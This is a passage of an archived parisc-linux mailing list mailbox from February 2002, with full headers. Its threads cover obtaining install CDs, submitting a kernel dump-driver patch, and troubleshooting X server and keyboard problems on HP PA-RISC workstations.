debian sources, which do build on hppa.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "The_dom labourre" <domlabourre@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pour ce qui est de l'obtention de ce linux ...
Date: Tue, 05 Feb 2002 18:28:27 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <F5DVxw3lJXGV9QaX6tx00014fe5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621041 2632 80.91.229.3 (22 Nov 2014 01:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:41 +0000 (UTC)
To: root@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 12:04:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF0A7482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Feb 2002 12:04:37 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 6AFCD80503C
	for <parisc-linux@parisc-linux.org>; Tue,  5 Feb 2002 14:04:36 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id 0FA7B4099
	for <parisc-linux@parisc-linux.org>; Tue,  5 Feb 2002 12:04:36 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16YAtP-0001NO-00
	for <parisc-linux@parisc-linux.org>; Tue, 05 Feb 2002 12:04:35 -0700
Original-Received: from localhost ([127.0.0.1] ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16YALs-0001KV-00
	for <bame@localhost>; Tue, 05 Feb 2002 11:29:56 -0700
Delivered-To: bame@ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com [15.1.50.190]
	by localhost with POP3 (fetchmail-5.9.3)
	for bame@localhost (single-drop); Tue, 05 Feb 2002 11:29:56 -0700 (MST)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by ldl.fc.hp.com (Postfix) with ESMTP id C5EBD4090
	for <bame@ldl.fc.hp.com>; Tue,  5 Feb 2002 11:28:52 -0700 (MST)
Original-Received: from palrel13.hp.com (palrel13.hp.com [15.81.176.21])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 913A537E49; Tue,  5 Feb 2002 11:28:52 -0700 (MST)
Original-Received: from dsl2.external.hp.com (dsl2.external.hp.com [192.25.206.7])
	by palrel13.hp.com (Postfix) with ESMTP
	id 07404400750; Tue,  5 Feb 2002 10:28:52 -0800 (PST)
Original-Received: by dsl2.external.hp.com (Postfix)
	id 5AAFD4831; Tue,  5 Feb 2002 11:28:29 -0700 (MST)
Delivered-To: root@parisc-linux.org
Original-Received: from hotmail.com (f5.law15.hotmail.com [64.4.23.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C29E482A
	for <root@parisc-linux.org>; Tue,  5 Feb 2002 11:28:28 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 5 Feb 2002 10:28:27 -0800
Original-Received: from 64.228.164.77 by lw15fd.law15.hotmail.msn.com with HTTP;
	Tue, 05 Feb 2002 18:28:27 GMT
X-Originating-IP: [64.228.164.77]
X-OriginalArrivalTime: 05 Feb 2002 18:28:27.0318 (UTC) FILETIME=[E74D1D60:01C1AE72]
X-UIDL: op+!!'?6!!W58!!<Wn"!
Resent-To: parisc-linux@parisc-linux.org
Resent-Date: Tue, 05 Feb 2002 12:04:35 -0700
Resent-From: Paul Bame <bame@fc.hp.com>
Resent-Message-Id: <E16YAtP-0001NO-00@noam.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13970

Bonjour,

Je suis actuellement dtenteur d'une vielle station HP apollo 735, et 
j'aimerai installer linux ... d'o ma visite sur votre site. Seulement je 
n'ai pas de graveur, donc problme pour moi faire une installation ! Faites 
vous des CDs pour l'install ?

Merci de votre aide.

Dominique - Qubec

_________________________________________________________________
Rejoignez le plus grand service de messagerie au monde avec MSN Hotmail. 
http://www.hotmail.com/fr





From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pour ce qui est de l'obtention de ce linux ...
Date: Tue, 5 Feb 2002 20:16:56 +0100 (CET)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0202052016240.8579-100000@r6.petescaff.com>
References: <F5DVxw3lJXGV9QaX6tx00014fe5@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621042 2634 80.91.229.3 (22 Nov 2014 01:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:42 +0000 (UTC)
Cc: "root@parisc-linux.org" <root@parisc-linux.org>,
	Paul Bame <bame@fc.hp.com>, <parisc-linux@parisc-linux.org>
To: The_dom labourre <domlabourre@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 12:33:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64871482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Feb 2002 12:33:18 -0700 (MST)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.33 #1)
	id 16YB5M-0005aZ-00; Tue, 05 Feb 2002 20:16:56 +0100
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <F5DVxw3lJXGV9QaX6tx00014fe5@hotmail.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13971

Dominique

Check out.....

http://parisc-linux.org/release-0.9/index.html

On Tue, 5 Feb 2002, The_dom labourre wrote:

>
> Bonjour,
>
> Je suis actuellement d=E9tenteur d'une vielle station HP apollo 735, et
> j'aimerai installer linux ... d'o=F9 ma visite sur votre site. Seulement =
je
> n'ai pas de graveur, donc probl=E9me pour moi faire une installation ! Fa=
ites
> vous des CDs pour l'install ?
>
> Merci de votre aide.
>
> Dominique - Qu=E9bec
>
> _________________________________________________________________
> Rejoignez le plus grand service de messagerie au monde avec MSN Hotmail.
> http://www.hotmail.com/fr
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Tue, 5 Feb 2002 18:09:44 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20020206020944.GM624@tausq.org>
References: <3C5E768A.573CC5A2@admin.france.hp.com> <20020204174039.DAF3B482A@dsl2.external.hp.com> <3C5F8F7E.D1956DF0@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621042 2637 80.91.229.3 (22 Nov 2014 01:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:42 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 19:09:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7DED482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Feb 2002 19:09:55 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id llshlaaa for parisc-linux@lists.parisc-linux.org; Tue, 5 Feb 2002 19:09:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16YHWq-0002XC-00; Tue, 05 Feb 2002 18:09:44 -0800
Content-Disposition: inline
In-Reply-To: <3C5F8F7E.D1956DF0@admin.france.hp.com>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13972

> So my work for the next few days will to create a patch
> of all my modification for the latest CVS bits (so you will
> have only the modifications). But I'll send it to which people ?

Either put it on the web/ftp some place and send the URL to this list, or if
the patch is not too large, just compress and attach it in a mail to the
list. My guess is that this is fairly large, so you might want to go
with the first option. Or you can send it to, say, Grant or myself, and
we can put it up on the ftp.p-l.org site and post the URL for you.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pour ce qui est de l'obtention de ce linux ...
Date: Wed, 6 Feb 2002 08:13:50 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0202060812220.5141-100000@www2.scram.de>
References: <Pine.LNX.4.42.0202052016240.8579-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621042 2642 80.91.229.3 (22 Nov 2014 01:50:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:42 +0000 (UTC)
Cc: The_dom labourre <domlabourre@hotmail.com>,
	"root@parisc-linux.org" <root@parisc-linux.org>,
	Paul Bame <bame@fc.hp.com>, <parisc-linux@parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 00:14:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 98F15482A; Wed,  6 Feb 2002 00:14:00 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g167DoK21826;
	Wed, 6 Feb 2002 08:13:50 +0100 (CET)
In-Reply-To: <Pine.LNX.4.42.0202052016240.8579-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13973

Hi Peter,

On Tue, 5 Feb 2002, Peter Mottram wrote:

> Check out.....
>
> http://parisc-linux.org/release-0.9/index.html

With the bit of French i know, i think Dominique was asking if someone
sells him the CDs as he doesn't have a CD burner.

--jochen




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Wed, 06 Feb 2002 00:32:06 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <20020206073206.153B1482A@dsl2.external.hp.com>
References: <3C5E768A.573CC5A2@admin.france.hp.com> <20020204174039.DAF3B482A@dsl2.external.hp.com>  <3C5F8F7E.D1956DF0@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621043 2667 80.91.229.3 (22 Nov 2014 01:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:43 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 00:32:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 153B1482A; Wed,  6 Feb 2002 00:32:06 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Tue, 05 Feb 2002 08:53:34 +0100." <3C5F8F7E.D1956DF0@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13974

Bruno Vidal wrote:
> 	Hi.
> So my work for the next few days will to create a patch
> of all my modification for the latest CVS bits (so you will
> have only the modifications). But I'll send it to which people ?

1) Send "cvs diff" output to this list
2) Use ".cvsrc" from build-tools/ repository
  ("diff -uNp" is key here)
3) If the diff is more than 100-200 lines, post a URL instead

I think I, tausq, ESIEE, willy should review/try it.

> Grant Grundler wrote:
> > As Randolph noted, we need to see the diff and what was changed
> > in the generic kernel. Is the kernel and user space code GPL?
> 
> Everything is under GPL, even the code coming from SGI. I leave
> all informations about the SGI code and the header of all their files.

Ok. You might also want to put a URL of your tarball of programs...perhaps
some debian types on debian-hppa would be interested in creating
a debian package of those.

> But I've modified the code to handle specific needs for p4.
> I'm
> also currently added code to handle multiple dump device. And I've also
> the project to dump only kernel space and not user space.

Cool! if you could keep those changes seperate for now...that
might make life easier in case we want to send those changes
back "upstream" (to SGI I assume).

> > > ./init/main.c
> > > ./kernel/ksyms.c
> > > ./kernel/panic.c
> > > ./kernel/sched.c
> > 
> > The last four might cause trouble....

> I know, I can try to put kernel/ksyms.c to arch/parisc/kernel/parisc_ksyms.c
> but it can break the code for ia64 and other architecture. but for the other
> it is not possible: panic (call to dump), sched.c (another call to dump), 
> main.c (init of dump). I've also an IA64 box where I can do test, so I've als
>   o
> the project to do it working on it (lots of project :-).

heh...if you know it will break another arch, leave it alone.

> I defenitly think that it is a really needed feature (I'm working perhaps 
> since a too long time in support center :-).

Even folks outside the support center think it's a good idea.

...
> My main probleme is to have a up to date code, because I have to follow
> each modification and redo the merge each time I want to update my CVS.
> I agree that I need to add comments in my code, but before going further
> I prefer to know if this code will stay a "patch" or not.

I can't promise anything. You know what I want.
Comments/guidance from Alan Cox and/or Matthew Wilcox would be good here.

grant



From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some Problems
Date: Wed, 06 Feb 2002 11:07:47 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020206105902.00ae3d90@pop.puretec.de>
References: <Pine.LNX.4.42.0202052016240.8579-100000@r6.petescaff.com> <Pine.NEB.4.33.0202060812220.5141-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621043 2672 80.91.229.3 (22 Nov 2014 01:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 03:09:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from obelix.hrz.tu-chemnitz.de (obelix.hrz.tu-chemnitz.de [134.109.132.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE4D8482A
	for <parisc-linux@parisc-linux.org>; Wed,  6 Feb 2002 03:09:09 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by obelix.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #1)
	id 16YP0l-0007h3-00
	for parisc-linux@parisc-linux.org; Wed, 06 Feb 2002 11:09:07 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16YP0k-0006GF-00
	for parisc-linux@parisc-linux.org; Wed, 06 Feb 2002 11:09:06 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
In-Reply-To: <Pine.NEB.4.33.0202060812220.5141-100000@www2.scram.de>
Original-References: <Pine.LNX.4.42.0202052016240.8579-100000@r6.petescaff.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13975

Hi,

I'm using HPPA-Debian for 3 weeks and so I'm not very skilled and I have=20
different Problems. I hope you could help to solve.
My machine is a HP712/60 with 64 MB RAM.

First Problem:
Since my last dist-upgrade I can't start the X-Server anymore.
If I start gdm I can see the gray background for a short moment and move=20
the mouse and then the gdm restarts.
If I start with startx the following output is printed:

(II) FBDev(0): using default device
(II) Running in FRAMEBUFFER Mode
(**) FBDev(0): Depth 8, (--) framebuffer bpp 8
(=3D=3D) FBDev(0): Default visual is PseudoColor
(=3D=3D) FBDev(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDev(0): Hardware:  (vidmem: 2048k)
(II) FBDev(0): Checking Modes against framebuffer device...
(II) FBDev(0):  mode "1280x1024" ok
(II) FBDev(0): Checking Modes against monitor...
(--) FBDev(0): Virtual size is 1280x1024 (pitch 1280)
(**) FBDev(0): Built-in mode "current": 28000.0 MHz, 21875.0 kHz, 21362.3 Hz
(++) FBDev(0): DPI set to (100, 100)
(**) FBDev(0): Using "Shadow Framebuffer"
(=3D=3D) FBDev(0): Backing store disabled
PEXExtensionInit: Couldn't open default PEX font file  Roman_M
(**) Mouse1: Protocol: "ps/2"
(**) Mouse1: Core Pointer
(=3D=3D) Mouse1: Buttons: 3
(**) Mouse1: Emulate3Buttons, Emulate3Timeout: 50
(II) Keyboard "Keyboard1" handled by legacy driver
(II) XINPUT: Adding extended input device "Mouse1" (type: MOUSE)

waiting for X server to shut down

Does anyone know what to do?

My second problem is that my keyboard doesn work well.
It's a PS2 Keyboard an I installed a german keymap but if I press e.g. > I=
=20
get a error-message like:
undefined scancode.
What could I do?

Third problem:
I wanna use the Cocoon2 XML Server with Tomcat but to start Tomcat I need=20
java. Is there any Java runtime available or is it impossible at the moment=
=20
to run Tomcat and Cocoon?

Last problem:
I also wanna run the zope server, but when I start it with zopectl start it=
=20
failed and I don't know what to do. Does anyone work with zope under=20
HPPA-Debian?

Thanx,
Tilo

Student of Computer Science at Chemnitz University of Technology
|[ Tilo Jandt, Vetterstra=DFe 70, Zi. 330, D-09126 Chemnitz        ]|
|[ mailto:tija@hrz.tu-chemnitz.de ]  [ ICQ: 73832493               ]|
|[ Phone: +49 179 5333 255        ]  [ Fax: +49 89 2443 25531 ]|





From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Some Problems
Date: Wed, 06 Feb 2002 18:32:05 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <1013016725.3c616895611cf@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621043 2673 80.91.229.3 (22 Nov 2014 01:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: tilo@jandt-online.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 10:32:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87F33482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Feb 2002 10:32:17 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16YVvR-0000xB-00; Wed, 06 Feb 2002 18:32:05 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13976

Hey Tilo,

For X problem, I assume X has already working for you?
I met a similar problem and I solved it by matching the actual setting
definition of my display (can be get at boot prompt) to the XF86COnfig-4:
ie for my Display definition of 1280*1024 in XF86COnfig-4:
...
Section "Screen"
    ...
    Subsection "Display"
        Depth 8
        Modes "1280*1024"
    EndSubSection
    ....
EndSection

(may be for you change on the contrary)

(my kernel is a cvs 2.4.17-pa11 and xfree package are released 4.1.0-14)

For Keyboard and other, sorry I could not help.

Good luck,
    Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: XFree86
 Question%26In-Reply-To=%26lt;F272OJlN0hju8qNABIT0000d6c2@hotmail.com>
Date: Wed, 06 Feb 2002 13:11:47 -0800
Organization: Hewlett Packard
Lines: 54
Approved: news@gmane.org
Message-ID: <3C619C13.8293C241@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621044 2676 80.91.229.3 (22 Nov 2014 01:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 14:12:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73235482A
